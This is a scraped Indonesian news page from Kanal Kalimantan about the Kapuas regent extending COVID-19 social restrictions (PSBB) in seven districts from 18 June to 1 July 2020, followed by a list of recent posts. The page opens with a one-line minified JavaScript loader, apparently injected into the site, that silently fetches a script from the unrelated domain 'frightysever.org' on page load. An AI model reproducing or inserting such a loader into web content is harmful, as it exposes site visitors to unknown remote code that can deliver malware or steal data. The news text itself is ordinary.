(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Bupati Kapuas Resmi Keluarkan SK Perpanjangan PSBB di Tujuh Kecamatan


KANALKALIMANTAN. COM, KUALA KAPUAS – Bupati Kapuas Ben Brahim S Bahat mengeluarkan Surat Keputusan (SK) Perpanjangan Penerapan Pembatasan Sosial Berskala Besar (PSBB) Nomor : 254/BPBD Tahun 2020. Perpanjangan masa PSBB dilanjutkan selama 14 hari, dimulai dari tanggal 18 Juni hingga 1 Juli mendatang.

“Tapi untuk kali ini PSBB diterapkan di tujuh kecamatan yang masih rentan penyebaran virus corona,” kata Bupati Ben Brahim usai menyerahkan bantuan untuk sekolah-sekolah di daerah setempat, Kamis (18/6/2020).

Adapun tujuh kecamatan yang akan melaksanakan perpanjangan PSBB yakni, yakni Selat, Basarang, Tamban Catur, Kapuas Timur, Kapuas Hilir, Pulau Petak dan Timpah.

Sedangkan kecamatan yang tidak memberlakukan PSBB, diharapkan tetap memberlakukan protokol kesehatan serta tetap mematuhi anjuran pemerintah, yakni rajin cuci tangan pakai sabun, gunakan masker bila keluar rumah, jaga jarak dan selalu menjaga kesehatan dan kebersihan.

“Diperpanjangnya pemberlakukan PSBB untuk tujuh kecamatan tersebut, dianggap rentan penyebaran virus corona atau COVID-19 di daerah setempat,” kata Ben Brahim.

Selain itu, melihat kondisi wilayah di tujuh kecamatan tersebut, merupakan akses pintu gerbang keluar masuk orang dari luar daerah.

Sementara itu, Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kabupaten Kapuas, Panahatan Sinaga mengatakan, untuk penerapan PSBB di daerah setempat masih sama dengan penerapan PSBB kabupaten.

“Hanya saja ada draf aturan satu pasal di dalam peraturan itu kami rubah, seperti jam oprasional buka dan tutup mini market. Yang sebelumnya buka dari jam 9 pagi hingga jam 3 sore, dan kini diubah dari jam 09.00 hingga pukul 19.00 WIB,” kata Sinaga.

Sedangkan untuk pemberlakuan yang lainnya, kata Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas ini, tetap seperti biasa. (Kanalkalimantan.com/ags)

Reporter : Ags
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.